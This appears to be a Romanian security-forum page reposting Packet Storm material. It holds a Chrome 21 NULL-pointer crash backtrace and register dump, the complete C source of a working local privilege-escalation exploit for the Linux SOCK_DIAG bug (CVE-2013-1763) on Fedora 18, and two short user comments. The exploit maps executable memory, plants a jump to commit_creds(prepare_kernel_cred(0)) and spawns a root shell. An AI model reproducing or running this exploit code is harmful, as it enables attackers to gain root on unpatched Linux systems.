base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb49b3736 in base::WaitableEvent::Wait() () #5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb6527d3d in content::BrowserThreadImpl::DBThreadRun(MessageLoop*) () #11 0xb6529dfe in content::BrowserThreadImpl::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 5 (Thread 0xb280db70 (LWP 10478)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3367f5b in read () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb4254037 in (anonymous namespace)::ShutdownDetector::ThreadMain() () #3 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #4 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #5 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 4 (Thread 0xb1733b70 (LWP 10477)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb3365015 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/tls/i686/cmov/libpthread.so.0 #2 0xb49b1d48 in base::ConditionVariable::Wait() () #3 0xb49b36f0 in base::WaitableEvent::TimedWait(base::TimeDelta const&) () #4 0xb49b3736 in base::WaitableEvent::Wait() () #5 0xb498e0c4 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb49bfa91 in base::Thread::ThreadMain() () #11 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #12 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #13 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 3 (Thread 0xb1f34b70 (LWP 10476)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f3d971 in select () from /lib/tls/i686/cmov/libc.so.6 #2 0xb497f952 in base::files::(anonymous namespace)::InotifyReaderCallback(base::files::(anonymous namespace)::InotifyReader*, int, int) () #3 0xb497cc19 in base::internal::Invoker<3, base::internal::BindState<base::internal::RunnableAdapter<void (base::files::(anonymous namespace)::InotifyReader*, int, int)>, void ()(base::files::(anonymous namespace)::InotifyReader*, int, int), void ()(base::files::(anonymous namespace)::InotifyReader*, int, int)>, void ()(base::files::(anonymous namespace)::InotifyReader*, int, int)>::Run(base::internal::BindStateBase*) () #4 0xb498c220 in MessageLoop::RunTask(base::PendingTask const&) () #5 0xb498c8c2 in MessageLoop::DeferOrRunPendingTask(base::PendingTask const&) () #6 0xb498cc31 in MessageLoop::DoWork() () #7 0xb498e06b in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) () #8 0xb498846e in MessageLoop::RunInternal() () #9 0xb49a4ae9 in base::RunLoop::Run() () #10 0xb498775e in MessageLoop::Run() () #11 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #12 0xb49bfa91 in base::Thread::ThreadMain() () #13 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #14 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #15 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 2 (Thread 0xb2735b70 (LWP 10475)): #0 0xb3d80430 in __kernel_vsyscall () #1 0xb2f40d37 in syscall () from /lib/tls/i686/cmov/libc.so.6 #2 0xb49e6410 in epoll_wait () #3 0xb49e5e75 in epoll_dispatch () #4 0xb49e42a7 in event_base_loop () #5 0xb495eda7 in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) () #6 0xb498846e in MessageLoop::RunInternal() () #7 0xb49a4ae9 in base::RunLoop::Run() () #8 0xb498775e in MessageLoop::Run() () #9 0xb49bfbb9 in base::Thread::Run(MessageLoop*) () #10 0xb49bfa91 in base::Thread::ThreadMain() () #11 0xb49bb148 in base::(anonymous namespace)::ThreadFunc(void*) () #12 0xb336096e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #13 0xb2f44a4e in clone () from /lib/tls/i686/cmov/libc.so.6 Thread 1 (Thread 0xb2977990 (LWP 10468)): #0 0xb40ea92b in (anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int) () #1 0xb40caf9b in base::internal::Invoker<4, base::internal::BindState<base::internal::RunnableAdapter<void (ChromeURLDataManager::DataSource:)(std::string const&, bool, int)>, void ()(ChromeURLDataManager::DataSource*, std::string const&, bool, int), void ()(ChromeURLDataManager::DataSource*, std::string, bool, int)>, void ()(ChromeURLDataManager::DataSource*, std::string const&, bool, int)>::Run(base::internal::BindStateBase*) () #2 0xb498c220 in MessageLoop::RunTask(base::PendingTask const&) () #3 0xb498c8c2 in MessageLoop::DeferOrRunPendingTask(base::PendingTask const&) () #4 0xb498cc31 in MessageLoop::DoWork() () #5 0xb49d58be in base::MessagePumpGlib::RunWithDispatcher(base::MessagePump::Delegate*, base::MessagePumpDispatcher*) () #6 0xb49d543c in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) () #7 0xb498846e in MessageLoop::RunInternal() () #8 0xb49a4ae9 in base::RunLoop::Run() () #9 0xb46513f5 in ChromeBrowserMainParts::MainMessageLoopRun(int*) () #10 0xb65262ec in content::BrowserMainLoop::RunMainMessageLoopParts() () #11 0xb6527280 in (anonymous namespace)::BrowserMainRunnerImpl::Run() () #12 0xb65247f3 in BrowserMain(content::MainFunctionParams const&) () #13 0xb48fb758 in content::RunNamedProcessTypeMain(std::string const&, content::MainFunctionParams const&, content::ContentMainDelegate*) () #14 0xb48fb8b0 in content::ContentMainRunnerImpl::Run() () #15 0xb48fa797 in content::ContentMain(int, char const**, content::ContentMainDelegate*) () #16 0xb3fbe60b in ChromeMain () #17 0xb3fbe5c2 in main () eax 0x4 4 ecx 0xb81187c0 -1206810688 edx 0x0 0 ebx 0xb8158ff4 -1206546444 esp 0xbfffdfa0 0xbfffdfa0 ebp 0xbfffe588 0xbfffe588 esi 0xbfffe4b0 -1073748816 edi 0xb8829880 -1199400832 eip 0xb40ea92b 0xb40ea92b <(anonymous namespace)::InspectDataSource::StartDataRequest(std::string const&, bool, int)+1899> eflags 0x210286 [ PF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 => 0xb40ea92b <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1899>: mov (%edx),%eax 0xb40ea92d <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1901>: mov %edx,(%esp) 0xb40ea930 <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1904>: call *0x28(%eax) 0xb40ea933 <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1907>: mov %eax,-0x580(%ebp) edx 0x0 0 eax 0x4 4 1: x/i $pc => 0xb40ea92b <_ZN12_GLOBAL__N_117InspectDataSource16StartDataRequestERKSsbi+1899>: mov (%edx),%eax Sursa: Google Chrome 21.0.1180.57 NULL Pointer ? Packet Storm

Fedora Linux SOCK_DIAG Local Root Authored by Thiebaud Weksteen Local root exploit for Fedora 18 x86_64 using nl_table to leverage the sock_diag_handlers[] vulnerability. /* * CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 * This exploit uses nl_table to jump to a known location */ #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <netinet/tcp.h> #include <errno.h> #include <linux/if.h> #include <linux/filter.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <linux/unix_diag.h> #include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm(3))) kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy, sym[512]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (!f) { return 0; } while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); if (ret == 0) { fscanf(f, "%s\n", sym); continue; } if (!strcmp(name, sym)) { printf("[+] resolved symbol %s to %p\n", name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char*argv[]) { int fd; unsigned family; struct { struct nlmsghdr nlh; struct unix_diag_req r; } req; char buf[8192]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ printf("Can't create sock diag socket\n"); return -1; } memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_seq = 123456; req.r.udiag_states = -1; req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; commit_creds = (_commit_creds) get_symbol("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); sock_diag_handlers = get_symbol("sock_diag_handlers"); nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ printf("some symbols are not available!\n"); exit(1); } family = (nl_table - sock_diag_handlers) / 8; printf("family=%d\n",family); req.r.sdiag_family = family; if(family>255){ printf("nl_table is too far!\n"); exit(1); } unsigned long mmap_start, mmap_size; mmap_start = 0x100000000; mmap_size = 0x200000; printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } memset((void*)mmap_start, 0x90, mmap_size); char jump[] = "\x55" // push %ebp "\x48\x89\xe5" // mov %rsp, %rbp "\x48\xc7\xc0\x00\x00\x00\x00" // movabs 0x00, %rax "\xff\xd0" // call *%rax "\x5d" // pop %rbp "\xc3"; // ret unsigned int *asd = (unsigned int*) &jump[7]; *asd = (unsigned int)kernel_code; printf("&kernel_code = %x\n", (unsigned int) kernel_code); memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); if ( send(fd, &req, sizeof(req), 0) < 0) { printf("bad send\n"); close(fd); return -1; } printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid()) system("/bin/sh"); } Sursa: Fedora Linux SOCK_DIAG Local Root ? Packet Storm

Ce e de ShowOff, ca ai intrat pe un link si ai pus o ghilimea? Trashed!

Unhook la SSDT? Si la Kaspersky merge?